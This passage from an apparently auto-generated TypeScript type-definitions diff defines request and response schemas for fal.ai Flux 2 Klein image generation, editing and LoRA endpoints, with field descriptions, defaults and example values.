jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiFlux2Klein4BOutputFormatEnumKey = + (typeof inputFalAiFlux2Klein4BOutputFormatEnum)[keyof typeof inputFalAiFlux2Klein4BOutputFormatEnum] + +export type InputFalAiFlux2Klein4B = { + /** + * @description The prompt to generate an image from. + * @example Cheetah in pre-sprint crouch, muscles tensed, gazelle visible in distance, African savanna golden grass, dust particles in air, National Geographic wildlife photography + * @type string + */ + prompt: string + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The number of inference steps to perform. + * @minimum 4 + * @maximum 8 + * @default 4 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description If `True`, the media will be returned as a data URI. Output is not stored when this is True. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The size of the image to generate. + * @default landscape_4_3 + */ + image_size?: ImageSizeCb97Fa51 | InputFalAiFlux2Klein4BImageSizeKey + /** + * @description The seed to use for the generation. If not provided, a random seed will be used. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFlux2Klein4BOutputFormatEnumKey +} + +export type ImageFileA5D8462D = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputFalAiFlux2Klein4B = { + /** + * @description The generated images + * @example [{"url":"https://v3b.fal.media/files/b/0a8a69c7/gU9ZgfFC9oAZjpIoveAac.png"}] + * @type array + */ + images: ImageFileA5D8462D[] + timings: { + [key: string]: number + } + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +export type ImageSize85952071 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux2Klein4BBaseAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiFlux2Klein4BBaseAccelerationEnumKey = + (typeof inputFalAiFlux2Klein4BBaseAccelerationEnum)[keyof typeof inputFalAiFlux2Klein4BBaseAccelerationEnum] + +export const inputFalAiFlux2Klein4BBaseImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux2Klein4BBaseImageSizeKey = + (typeof inputFalAiFlux2Klein4BBaseImageSize)[keyof typeof inputFalAiFlux2Klein4BBaseImageSize] + +export const inputFalAiFlux2Klein4BBaseOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiFlux2Klein4BBaseOutputFormatEnumKey = + (typeof inputFalAiFlux2Klein4BBaseOutputFormatEnum)[keyof typeof inputFalAiFlux2Klein4BBaseOutputFormatEnum] + +export type InputFalAiFlux2Klein4BBase = { + /** + * @description The acceleration level to use for image generation. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiFlux2Klein4BBaseAccelerationEnumKey + /** + * @description The prompt to generate an image from. + * @example Japanese zen garden at first light, perfect rake lines in gravel, koi pond with morning mist, temple bell in background, meditation ready + * @type string + */ + prompt: string + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The size of the image to generate. + * @default landscape_4_3 + */ + image_size?: ImageSize85952071 | InputFalAiFlux2Klein4BBaseImageSizeKey + /** + * @description If `True`, the media will be returned as a data URI. Output is not stored when this is True. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Guidance scale for classifier-free guidance. + * @minimum 0 + * @maximum 20 + * @default 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The seed to use for the generation. If not provided, a random seed will be used. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFlux2Klein4BBaseOutputFormatEnumKey + /** + * @description Negative prompt for classifier-free guidance. Describes what to avoid in the image. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The number of inference steps to perform. + * @minimum 4 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number +} + +export type ImageFile661F33A5 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputFalAiFlux2Klein4BBase = { + /** + * @description The generated images + * @example [{"url":"https://v3b.fal.media/files/b/0a8a69c2/5IoN78I6tZ8ZH69SB3PhW.png"}] + * @type array + */ + images: ImageFile661F33A5[] + timings: { + [key: string]: number + } + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +export type ImageSize83E26E14 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux2Klein4BBaseEditAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiFlux2Klein4BBaseEditAccelerationEnumKey = + (typeof inputFalAiFlux2Klein4BBaseEditAccelerationEnum)[keyof typeof inputFalAiFlux2Klein4BBaseEditAccelerationEnum] + +export const inputFalAiFlux2Klein4BBaseEditImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux2Klein4BBaseEditImageSizeKey = + (typeof inputFalAiFlux2Klein4BBaseEditImageSize)[keyof typeof inputFalAiFlux2Klein4BBaseEditImageSize] + +export const inputFalAiFlux2Klein4BBaseEditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiFlux2Klein4BBaseEditOutputFormatEnumKey = + (typeof inputFalAiFlux2Klein4BBaseEditOutputFormatEnum)[keyof typeof inputFalAiFlux2Klein4BBaseEditOutputFormatEnum] + +export type InputFalAiFlux2Klein4BBaseEdit = { + /** + * @description The acceleration level to use for image generation. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiFlux2Klein4BBaseEditAccelerationEnumKey + /** + * @description The prompt to edit the image. + * @example Imagine view of Fuji mount. Use style of reference image. + * @type string + */ + prompt: string + /** + * @description The URLs of the images for editing. A maximum of 4 images are allowed. + * @example ["https://v3b.fal.media/files/b/0a8a69fd/VUrxIXgOqcf3L7kuGS7B5_eb54fcdc-87d0-47da-ad31-93455b245fb4.png"] + * @type array + */ + image_urls: string[] + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The size of the generated image. If not provided, uses the input image size. + * @example {"height":1152,"width":2016} + */ + image_size?: + | ImageSize83E26E14 + | InputFalAiFlux2Klein4BBaseEditImageSizeKey + | null + /** + * @description If `True`, the media will be returned as a data URI. Output is not stored when this is True. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Guidance scale for classifier-free guidance. + * @minimum 0 + * @maximum 20 + * @default 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The seed to use for the generation. If not provided, a random seed will be used. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFlux2Klein4BBaseEditOutputFormatEnumKey + /** + * @description Negative prompt for classifier-free guidance. Describes what to avoid in the image. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The number of inference steps to perform. + * @minimum 4 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number +} + +export type ImageFile9A08A930 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputFalAiFlux2Klein4BBaseEdit = { + /** + * @description The edited images + * @example [{"url":"https://v3b.fal.media/files/b/0a8a69ff/UYukVfGjybLo7spA_Kc-i.png"}] + * @type array + */ + images: ImageFile9A08A930[] + timings: { + [key: string]: number + } + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +export type ImageSize67Dfdb5D = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export type FalAiFlux2KleinLoRAInput = { + /** + * @description URL, HuggingFace repo ID (owner/repo), or local path to LoRA weights. + * @type string + */ + path: string + /** + * @description Scale factor for LoRA application (0.0 to 4.0). + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number +} + +export const inputFalAiFlux2Klein4BBaseEditLoraAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiFlux2Klein4BBaseEditLoraAccelerationEnumKey = + (typeof inputFalAiFlux2Klein4BBaseEditLoraAccelerationEnum)[keyof typeof inputFalAiFlux2Klein4BBaseEditLoraAccelerationEnum] + +export const inputFalAiFlux2Klein4BBaseEditLoraImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux2Klein4BBaseEditLoraImageSizeKey = + (typeof inputFalAiFlux2Klein4BBaseEditLoraImageSize)[keyof typeof inputFalAiFlux2Klein4BBaseEditLoraImageSize] + +export const inputFalAiFlux2Klein4BBaseEditLoraOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiFlux2Klein4BBaseEditLoraOutputFormatEnumKey = + (typeof inputFalAiFlux2Klein4BBaseEditLoraOutputFormatEnum)[keyof typeof inputFalAiFlux2Klein4BBaseEditLoraOutputFormatEnum] + +export type InputFalAiFlux2Klein4BBaseEditLora = { + /** + * @description The acceleration level to use for image generation. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiFlux2Klein4BBaseEditLoraAccelerationEnumKey + /** + * @description The prompt to edit the image. + * @example Change his clothes to casual suit and tie + * @type string + */ + prompt: string + /** + * @description The URLs of the images for editing. A maximum of 4 images are allowed. + * @example ["https://storage.googleapis.com/falserverless/example_inputs/flux2_dev_edit_input.png"] + * @type array + */ + image_urls: string[] + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The size of the generated image. If not provided, uses the input image size. + * @example {"height":1152,"width":2016} + */ + image_size?: + | ImageSize67Dfdb5D + | InputFalAiFlux2Klein4BBaseEditLoraImageSizeKey + | null + /** + * @description If `True`, the media will be returned as a data URI. Output is not stored when this is True. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description List of LoRA weights to apply (maximum 3). + * @default [] + * @type array | undefined + */ + loras?: FalAiFlux2KleinLoRAInput[] + /** + * @description The seed to use for the generation. If not provided, a random seed will be used. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFlux2Klein4BBaseEditLoraOutputFormatEnumKey + /** + * @description Guidance scale for classifier-free guidance. + * @minimum 0 + * @maximum 20 + * @default 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Negative prompt for classifier-free guidance. Describes what to avoid in the image. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The number of inference steps to perform. + * @minimum 4 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number +} + +export type ImageFile4Adf3563 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputFalAiFlux2Klein4BBaseEditLora = { + /** + * @description The generated images + * @type array + */ + images: ImageFile4Adf3563[] + timings: { + [key: string]: number + } + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +export type ImageSize6Efa52F2 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux2Klein4BBaseLoraAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiFlux2Klein4BBaseLoraAccelerationEnumKey = + (typeof inputFalAiFlux2Klein4BBaseLoraAccelerationEnum)[keyof typeof inputFalAiFlux2Klein4BBaseLoraAccelerationEnum] + +export const inputFalAiFlux2Klein4BBaseLoraImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux2Klein4BBaseLoraImageSizeKey = + (typeof inputFalAiFlux2Klein4BBaseLoraImageSize)[keyof typeof inputFalAiFlux2Klein4BBaseLoraImageSize] + +export const inputFalAiFlux2Klein4BBaseLoraOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiFlux2Klein4BBaseLoraOutputFormatEnumKey = + (typeof inputFalAiFlux2Klein4BBaseLoraOutputFormatEnum)[keyof typeof inputFalAiFlux2Klein4BBaseLoraOutputFormatEnum] + +export type InputFalAiFlux2Klein4BBaseLora = { + /** + * @description The acceleration level to use for image generation. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiFlux2Klein4BBaseLoraAccelerationEnumKey + /** + * @description The prompt to generate an image from. + * @example A serene Japanese garden with cherry blossoms, koi pond, and traditional wooden bridge at golden hour + * @type string + */ + prompt: string + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The size of the image to generate. + * @default landscape_4_3 + */ + image_size?: ImageSize6Efa52F2 | InputFalAiFlux2Klein4BBaseLoraImageSizeKey + /** + * @description If `True`, the media will be returned as a data URI. Output is not stored when this is True. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description List of LoRA weights to apply (maximum 3). + * @default [] + * @type array | undefined + */ + loras?: FalAiFlux2KleinLoRAInput[] + /** + * @description The seed to use for the generation. If not provided, a random seed will be used. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFlux2Klein4BBaseLoraOutputFormatEnumKey + /** + * @description Guidance scale for classifier-free guidance. + * @minimum 0 + * @maximum 20 + * @default 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Negative prompt for classifier-free guidance. Describes what to avoid in the image. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The number of inference steps to perform. + * @minimum 4 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number +} + +export type ImageFileFbce1Ab8 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputFalAiFlux2Klein4BBaseLora = { + /** + * @description The generated images + * @type array + */ + images: ImageFileFbce1Ab8[] + timings: { + [key: string]: number + } + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +export type ImageSizeC89Aa8B4 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux2Klein4BEditImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux2Klein4BEditImageSizeKey = + (typeof inputFalAiFlux2Klein4BEditImageSize)[keyof typeof inputFalAiFlux2Klein4BEditImageSize] + +export const inputFalAiFlux2Klein4BEditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiFlux2Klein4BEditOutputFormatEnumKey = + (typeof inputFalAiFlux2Klein4BEditOutputFormatEnum)[keyof typeof inputFalAiFlux2Klein4BEditOutputFormatEnum] + +export type InputFalAiFlux2Klein4BEdit = { + /** + * @description The prompt to edit the image. + * @example Turn this into a realistic image + * @type string + */ + prompt: string + /** + * @description The URLs of the images for editing. A maximum of 4 images are allowed. + * @example ["https://v3b.fal.media/files/b/0a8a69d5/kkXxFfj1QeVtw35kxy5Py_1a7e3511-bd2c-46be-923a-8e6be2496f12.png"] + * @type array + */ + image_urls: string[] + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The number of inference steps to perform. + * @minimum 4 + * @maximum 8 + * @default 4 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description If `True`, the media will be returned as a data URI. Output is not stored when this is True. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The size of the generated image. If not provided, uses the input image size. + * @example {"height":1152,"width":2016} + */ + image_size?: ImageSizeC89Aa8B4 | InputFalAiFlux2Klein4BEditImageSizeKey | null + /** + * @description The seed to use for the generation. If not provided, a random seed will be used. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFlux2Klein4BEditOutputFormatEnumKey +} + +export type ImageFile7Cc2Abe8 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputFalAiFlux2Klein4BEdit = { + /** + * @description The edited images + * @example [{"url":"https://v3b.fal.media/files/b/0a8a69d6/M73KvDgfEgIM77t4mFsS2.png"}] + * @type array + */ + images: ImageFile7Cc2Abe8[] + timings: { + [key: string]: number + } + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +export type ImageSizeFfa76Ef5 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux2Klein4BEditLoraOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiFlux2Klein4BEditLoraOutputFormatEnumKey = + (typeof inputFalAiFlux2Klein4BEditLoraOutputFormatEnum)[keyof typeof inputFalAiFlux2Klein4BEditLoraOutputFormatEnum] + +export const inputFalAiFlux2Klein4BEditLoraImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux2Klein4BEditLoraImageSizeKey = + (typeof inputFalAiFlux2Klein4BEditLoraImageSize)[keyof typeof inputFalAiFlux2Klein4BEditLoraImageSize] + +export type InputFalAiFlux2Klein4BEditLora = { + /** + * @description The prompt to edit the image. + * @example Turn this into a realistic image + * @type string + */ + prompt: string + /** + * @description The URLs of the images for editing. A maximum of 4 images are allowed. + * @example ["https://v3b.fal.media/files/b/0a8a69d5/kkXxFfj1QeVtw35kxy5Py_1a7e3511-bd2c-46be-923a-8e6be2496f12.png"] + * @type array + */ + image_urls: string[] + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The number of inference steps to perform. + * @minimum 4 + * @maximum 8 + * @default 4 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description If `True`, the media will be returned as a data URI. Output is not stored when this is True. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description List of LoRA weights to apply (maximum 3). + * @default [] + * @type array | undefined + */ + loras?: FalAiFlux2KleinLoRAInput[] + /** + * @description The seed to use for the generation. If not provided, a random seed will be used. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFlux2Klein4BEditLoraOutputFormatEnumKey + /** + * @description The size of the generated image. If not provided, uses the input image size. + * @example {"height":1152,"width":2016} + */ + image_size?: + | ImageSizeFfa76Ef5 + | InputFalAiFlux2Klein4BEditLoraImageSizeKey + | null +} + +export type ImageFile40Bdad1B = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputFalAiFlux2Klein4BEditLora = { + /** + * @description The edited images + * @example [{"url":"https://v3b.fal.media/files/b/0a8a69d6/M73KvDgfEgIM77t4mFsS2.png"}] + * @type array + */ + images: ImageFile40Bdad1B[] + timings: { + [key: string]: number + } + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +export type ImageSize0A0Dee5A = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux2Klein4BLoraOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiFlux2Klein4BLoraOutputFormatEnumKey = + (typeof inputFalAiFlux2Klein4BLoraOutputFormatEnum)[keyof typeof inputFalAiFlux2Klein4BLoraOutputFormatEnum] + +export const inputFalAiFlux2Klein4BLoraImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux2Klein4BLoraImageSizeKey = + (typeof inputFalAiFlux2Klein4BLoraImageSize)[keyof typeof inputFalAiFlux2Klein4BLoraImageSize] + +export type InputFalAiFlux2Klein4BLora = { + /** + * @description The prompt to generate an image from. + * @example Cheetah in pre-sprint crouch, muscles tensed, gazelle visible in distance, African savanna golden grass, dust particles in air, National Geographic wildlife photography + * @type string + */ + prompt: string + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The number of inference steps to perform. + * @minimum 4 + * @maximum 8 + * @default 4 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description If `True`, the media will be returned as a data URI. Output is not stored when this is True. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description List of LoRA weights to apply (maximum 3). + * @default [] + * @type array | undefined + */ + loras?: FalAiFlux2KleinLoRAInput[] + /** + * @description The seed to use for the generation. If not provided, a random seed will be used. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFlux2Klein4BLoraOutputFormatEnumKey + /** + * @description The size of the image to generate. + * @default landscape_4_3 + */ + image_size?: ImageSize0A0Dee5A | InputFalAiFlux2Klein4BLoraImageSizeKey +} + +export type ImageFileFf9E91C0 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputFalAiFlux2Klein4BLora = { + /** + * @description The generated images + * @example [{"url":"https://v3b.fal.media/files/b/0a8a69c7/gU9ZgfFC9oAZjpIoveAac.png"}] + * @type array + */ + images: ImageFileFf9E91C0[] + timings: { + [key: string]: number + } + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +export type ImageSize985B7944 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux2Klein9BImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + 